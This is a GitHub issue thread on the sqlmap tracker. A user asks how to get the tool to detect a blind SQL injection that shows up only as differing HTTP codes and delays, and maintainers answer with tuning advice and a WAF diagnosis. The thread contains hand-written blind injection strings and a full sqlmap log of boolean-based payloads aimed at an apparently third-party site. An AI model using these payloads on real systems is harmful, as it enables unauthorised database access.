-
-
Notifications
You must be signed in to change notification settings - Fork 5.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
True - delay, false - http error #3195
Comments
2- Don't blame 3- the answer for your question is completely described here. https://github.com/sqlmapproject/sqlmap/wiki/Usage#page-comparison 4- sqlmap notified you several time about ....... @stamparm |
I can count lenght of db name with "index.php?id=3800+AND+(SELECT+LENGTH(database()))=7#" (because i know name of db from Time-based) and other information from base. So here is blind injection. But sqlmap didnt see difference between 200 and 500 codes, i trying to set --code=200, but nothin works. I try --null-connection key, but no luck. |
@vayo8888 post sqlmap output here in order to check the issue you talking about. and in case if your compare based on AGAIN TAKE A LOOK
|
Dont understand how can i use --string if pages (true and false) fully blank, this output with --code=200 only: `$ sqlmap.py -u "https://localhost/botservice/incoming/index.php?id=3890*" --output-dir="C:\111" --risk=3 --level=5 --random-agent --dbms=MYSQL --technique=B --batch --timeout=60 --dbs -v6 --code=200 [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 04:38:18 [04:38:18] [DEBUG] cleaning up configuration parameters [04:38:21] [DEBUG] declared web page charset 'utf-8' [04:38:21] [INFO] testing if the target URL content is stable [04:38:24] [TRAFFIC IN] HTTP response [#2] (200 OK): [04:38:24] [ERROR] there was an error checking the stability of page because of lack of content. Please check the page request results (and probable errors) by using higher verbosity levels [04:38:26] [TRAFFIC IN] HTTP response [#3] (500 Internal Server Error): [04:38:26] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#3] (500 Internal Server Error): [04:38:26] [INFO] confirming that URI parameter '#1*' is dynamic [04:38:32] [TRAFFIC IN] HTTP response [#4] (500 Internal Server Error): [04:38:32] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#4] (500 Internal Server Error): [04:38:32] [INFO] URI parameter '#1*' is dynamic [04:38:36] [TRAFFIC IN] HTTP response [#5] (500 Internal Server Error): [04:38:36] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#5] (500 Internal Server Error): [04:38:36] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [04:38:41] [TRAFFIC IN] HTTP response [#6] (500 Internal Server Error): [04:38:41] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#6] (500 Internal Server Error): [04:38:41] [INFO] testing for SQL injection on URI parameter '#1*' [04:38:43] [TRAFFIC IN] HTTP response [#7] (500 Internal Server Error): [04:38:43] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#7] (500 Internal Server Error): [04:38:43] [PAYLOAD] 3890) AND 7063=7063-- vHSY [04:38:48] [TRAFFIC IN] HTTP response [#8] (500 Internal Server Error): [04:38:48] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#8] (500 Internal Server Error): [04:38:48] [PAYLOAD] 3890') AND 7154=7070-- JlXq [04:38:50] [TRAFFIC IN] HTTP response [#9] (500 Internal Server Error): [04:38:50] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#9] (500 Internal Server Error): [04:38:50] [PAYLOAD] 3890') AND 7063=7063-- RbPP [04:38:53] [TRAFFIC IN] HTTP response [#10] (500 Internal Server Error): [04:38:53] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#10] (500 Internal Server Error): [04:38:53] [PAYLOAD] 3890' AND 6118=5206-- rDyX [04:38:56] [TRAFFIC IN] HTTP response [#11] (500 Internal Server Error): [04:38:56] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#11] (500 Internal Server Error): [04:38:56] [PAYLOAD] 3890' AND 7063=7063-- JKpV [04:38:59] [TRAFFIC IN] HTTP response [#12] (500 Internal Server Error): [04:38:59] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#12] (500 Internal Server Error): [04:38:59] [PAYLOAD] 3890" AND 2180=7943-- LGhe [04:39:02] [TRAFFIC IN] HTTP response [#13] (500 Internal Server Error): [04:39:02] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#13] (500 Internal Server Error): [04:39:02] [PAYLOAD] 3890" AND 7063=7063-- PJVM [04:39:07] [TRAFFIC IN] HTTP response [#14] (500 Internal Server Error): [04:39:07] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#14] (500 Internal Server Error): [04:39:07] [PAYLOAD] 3890) AND 4291=5064 AND (2755=2755 [04:39:12] [TRAFFIC IN] HTTP response [#15] (500 Internal Server Error): [04:39:12] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#15] (500 Internal Server Error): [04:39:12] [PAYLOAD] 3890) AND 7063=7063 AND (4761=4761 [04:39:16] [TRAFFIC IN] HTTP response [#16] (500 Internal Server Error): [04:39:16] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#16] (500 Internal Server Error): [04:39:16] [PAYLOAD] 3890)) AND 5516=2606 AND ((9424=9424 [04:39:17] [TRAFFIC IN] HTTP response [#17] (500 Internal Server Error): [04:39:17] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#17] (500 Internal Server Error): [04:39:17] [PAYLOAD] 3890)) AND 7063=7063 AND ((4955=4955 [04:39:23] [TRAFFIC IN] HTTP response [#18] (500 Internal Server Error): [04:39:23] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#18] (500 Internal Server Error): [04:39:23] [PAYLOAD] 3890))) AND 8120=2977 AND (((4302=4302 [04:39:25] [TRAFFIC IN] HTTP response [#19] (500 Internal Server Error): [04:39:25] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#19] (500 Internal Server Error): [04:39:25] [PAYLOAD] 3890))) AND 7063=7063 AND (((7363=7363 [04:39:29] [TRAFFIC IN] HTTP response [#20] (500 Internal Server Error): [04:39:29] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#20] (500 Internal Server Error): [04:39:29] [PAYLOAD] 3890 AND 5541=8024 [04:39:33] [TRAFFIC IN] HTTP response [#21] (500 Internal Server Error): [04:39:33] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#21] (500 Internal Server Error): [04:39:33] [PAYLOAD] 3890 AND 7063=7063 [04:39:36] [TRAFFIC IN] HTTP response [#22] (200 OK): [04:39:36] [PAYLOAD] 3890') AND 5270=8049 AND ('STuN'='STuN [04:39:39] [TRAFFIC IN] HTTP response [#23] (500 Internal Server Error): [04:39:39] [DEBUG] got HTTP error code: 500 (Internal Server Error) [#23] (500 Internal Server Error): [04:39:39] [PAYLOAD] 3890') AND 7063=7063 AND ('pDoM'='pDoM [04:39:43] [WARNING] user aborted during detection phase [*] shutting down at 04:39:44` |
Same white pages without any text, just different response codes. |
im try to put --code=200 --string="200 OK" but got error: |
@vayo8888 **update sqlmap firstly by 1- i noticed that you are talking about 2- kindly confirm for me if you are dealing with any WAF protection using 3- use 4- in case if there's no string so better to use just |
Ok, updated. 2 - There is no waf, codes 200 and 500 are clear TRUE and FALSE: 3 - Dont need this option, i also try manuall check any data (db name, table names, columns, just compare code output (just like example TRUE request: index.php?id=3800+and+1=(SELECT+1+FROM+im_settings+WHERE+id+REGEXP+%27^[1]%27+AND+ID=1)) 4 - so, thats final question --code=200 - wont work |
little donate to btc @stamparm |
based on what you used try with |
@vayo8888 it is clear that cloudflare is doing its part here. Not sure why there is no warning of it after a WAF check in sqlmap. You are getting 500 for even benign requests. One more thing. This case is primitive for sqlmap to detect. Be sure that sqlmap does not need to tune it. You could send me a real URL to the miroslav@sqlmap.org if you want me to check why you haven't got the WAF warning. |
Just going to the URL displays a big ugly 504 Gateway timeout from Cloudflare. I am not sure why I am even trying to respond to this kind of Issues. |
Hello, how can i set sqlmap valid query if page have long load time (40-50 sec with code 200) and false if it got ERROR HTTP 500 after 4-5 seconds? I mean i dont want to wait this 40-50 seconds when query is true. By default sqlmap see only time-based sql injection, but manually i can count columns with simple +order+by+*--
The text was updated successfully, but these errors were encountered: